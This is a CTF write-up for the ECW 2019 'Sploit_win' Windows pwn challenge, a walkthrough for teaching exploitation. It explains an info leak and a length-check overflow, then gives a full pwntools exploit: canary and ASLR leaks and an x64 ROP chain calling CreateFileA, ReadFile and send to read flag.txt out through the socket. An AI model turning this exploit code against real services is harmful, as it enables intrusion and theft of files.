Sploit_Win

ECW 2019 CTF Qualification - Exploit (300 pts).

ECW 2019 CTF Qualification - Sploit_win

Challenge details

Event Challenge Category Points Solves
ECW 2019 CTF Qualification Sploit_win Pwn 300 8

[I know why you want to hate me]

Votre mission Jim, si vous l’acceptez, introduisez-vous dans le service exposé sur le port tcp 741 et exfiltrez le fichier secret “flag.txt”. De nombreuses sécurités sont en place pour empêcher les intrusions et vous devrez vous faufiler par un filtrage réseau très strict.

Comme toujours, si vous ou l’un de vos exploits êtes pris en faisant crasher le service, le secrétaire niera toute connaissance de vos actions. Bonne chance!

TL;DR

CreateFile, ReadFile and send with x64 Windows ropchain.

Vulnerability

First, we were given a binary launching a TCP server. This server was using a custom protocol.

Here I will focus on the two buggy cases:

  • The first I found was the leak which followed the protocol:


  • And the overflow was following this protocol (there was a check in this function but by setting length to -1 we were able to overwrite as we wished):


First step: leaking the Stack Canary and RIP

So first the goal was to leak the stack canary to be able to rewrite it when overflowing and getting RIP to compute ASLR offset since there was PIE.


So now we have ASLR, stack canary and data buffer offset we are able to create our ropchain.

Second step: The overflow

Now, the goal is to read “flag.txt” according to the description. We don’t need to create a reverse shell but just opening, reading and sending it through the socket.

For that we had constraints:

  • Keep the socket handle in RDI, the challenge is the same for all people so the handle can be considered as random. We can not instantiate new socket since the firewall is blocking other ports. But when we trigger the return, the handle is in RDI. So, no RDI modification in the ropchain to be able to reuse it.
  • Find a way to set r9 with a defined value: we need it because in x64 Windows calling convention, it’s the 4th arg.

To modify r9 I used the three following gadget (found using Ropper):

        # 0x0000000140003a6d: pop r8; ret;
        rop.append(aslr(0x0000000140003a6d))
        rop.append(0x0)

        # 0x0000000140030b26: add al, 0xa; add r8, r9; add rax, r8; ret; 
        rop.append(aslr(0x0000000140030b26))

        # 0x0000000140047d42: xor r9, r8; mov qword ptr [rip + 0x585ac], r9; ret; 
        rop.append(aslr(0x0000000140047d42))

        # 0x0000000140003a6d: pop r8; ret;
        rop.append(aslr(0x0000000140003a6d))
        rop.append(value)

        # 0x0000000140047d42: xor r9, r8; mov qword ptr [rip + 0x585ac], r9; ret; 
        rop.append(aslr(0x0000000140047d42))

Final payload

Then it’s pretty straight forward and we end up with the following payload:

#!/usr/bin/python2
# coding: utf8
from pwn import *
from socket import htonl
from struct import pack

#HOST="192.168.56.105"
HOST="challenge-ecw.fr"
PORT = 741

aslr_offset = 0
def write_rop(r,rop):
    # set length to -1 so for loop does'nt end
    # pack the rop array after
    r.send('\x01' + pack('>I',-1 & 0xffff) + ''.join([pack('<Q',i) for i in rop])   ) 

def leak(r,index):
    # leak value at index ( 32-bit value )
    payload = r.send('\x04' + p32(htonl(index)) )
    return r.recv()

def trigg_return(r):
    payload = r.send('\x05')

def aslr(value):
    return value + aslr_offset


r = remote(HOST, PORT)

index_rip = 262
rip = u64(leak(r,index_rip) + leak(r,index_rip+1))
aslr_offset = rip - 0x140002507
index_stack_cookie = 256
stack_cookie = u64(leak(r,index_stack_cookie) + leak(r,index_stack_cookie+1))


msg_offset = 264
msg_addr = u64(leak(r,msg_offset) + leak(r,msg_offset+1)) + 5

print("[+] RIP : "+ hex(rip))
print("[+] Stack Cookie : " + hex(stack_cookie))

print("[+] msg addr :" + hex(msg_addr))

rop = [u64("flag.txt")]

# overwrites the buffer with a fake data + stack canary
for i in range(len(rop)*2,262,2):
    rop.append( u64(leak(r,i) + leak(r,i+1)) )


def call_function(rop, rcx = None, rdx = None, r8 = None, r9 = None, function = None):
    def set_r9(rop, value):

        # 0x0000000140003a6d: pop r8; ret;
        rop.append(aslr(0x0000000140003a6d))
        rop.append(0x0)

        # 0x0000000140030b26: add al, 0xa; add r8, r9; add rax, r8; ret; 
        rop.append(aslr(0x0000000140030b26))

        # 0x0000000140047d42: xor r9, r8; mov qword ptr [rip + 0x585ac], r9; ret; 
        rop.append(aslr(0x0000000140047d42))

        # 0x0000000140003a6d: pop r8; ret;
        rop.append(aslr(0x0000000140003a6d))
        rop.append(value)

        # 0x0000000140047d42: xor r9, r8; mov qword ptr [rip + 0x585ac], r9; ret; 
        rop.append(aslr(0x0000000140047d42))

    if(r9 != None):
        set_r9(rop, r9)

    if(r8):
        # 0x0000000140003a6d: pop r8; ret;
        rop.append(aslr(0x0000000140003a6d))
        rop.append(r8)

    if(rcx):
        # 0x0000000140013603: pop rcx; ret;
        rop.append(aslr(0x0000000140013603))
        rop.append(rcx)

    if(rdx):
        # 0x000000014001b4be: pop rdx; ret; 
        rop.append(aslr(0x000000014001b4be))
        rop.append(rdx)

    if(function):
        # ret on function
        rop.append(aslr(function))


send = 0x0000000140002858
CreateFileA = 0x0000000140006615
ReadFile = 0x00000014000662D



# CreateFile
call_function(rop,rcx=msg_addr, rdx=0x80000000, r8=0x00000001, r9=0, function=CreateFileA)

# 0x0000000140008c15: pop r13; pop r12; pop rbp; ret; 
rop.append(aslr(0x0000000140008c15))

# JUNK ?
rop.append(0xdeadbee1)
rop.append(0xdeadbee2)
rop.append(0xdeadbee3)

# 0x0000000140008c15: pop r13; pop r12; pop rbp; ret; 
rop.append(aslr(0x0000000140008c15))

rop.append(0x3)
rop.append(0x80)
rop.append(0)

#0x0000000140003a08: mov rcx, rax; mov rax, rcx; add rsp, 0x28; ret; 
rop.append(aslr(0x0000000140003a08))

# fill stack
for i in range((0x28/8)):
    rop.append(0xdeadbeef)

# ReadFile
call_function(rop,rcx=None, rdx=msg_addr,r8=0xff-9,r9=msg_addr+0xff-8,function=ReadFile)

# 0x000000014001b4be: pop rdx; ret; 
rop.append(aslr(0x000000014001b4be))

# JUNK ?
rop.append(0xdeadbee1)
rop.append(0xdeadbee2)


# 0x0000000140008c17: pop r12; pop rbp; ret; 
rop.append(aslr(0x0000000140008c17))

# JUNK ?
rop.append(0xdeadbee4)

rop.append(0)

#0x00000001400377fc: mov rax, rdi; add rsp, 0x50; pop rdi; ret; 
# rax = rdi
rop.append(aslr(0x00000001400377fc))

# fill stack
for i in range((0x50/8) + 1):
    rop.append(0xdeadbeef)

#0x0000000140003a08: mov rcx, rax; mov rax, rcx; add rsp, 0x28; ret; 
rop.append(aslr(0x0000000140003a08))

# fill stack
for i in range((0x28/8)):
    rop.append(0xdeadbeef)

call_function(rop,rcx=None,rdx=msg_addr,r8=0xff,r9=None, function=send)


write_rop(r, rop)
trigg_return(r)

print(r.recv())

Areizen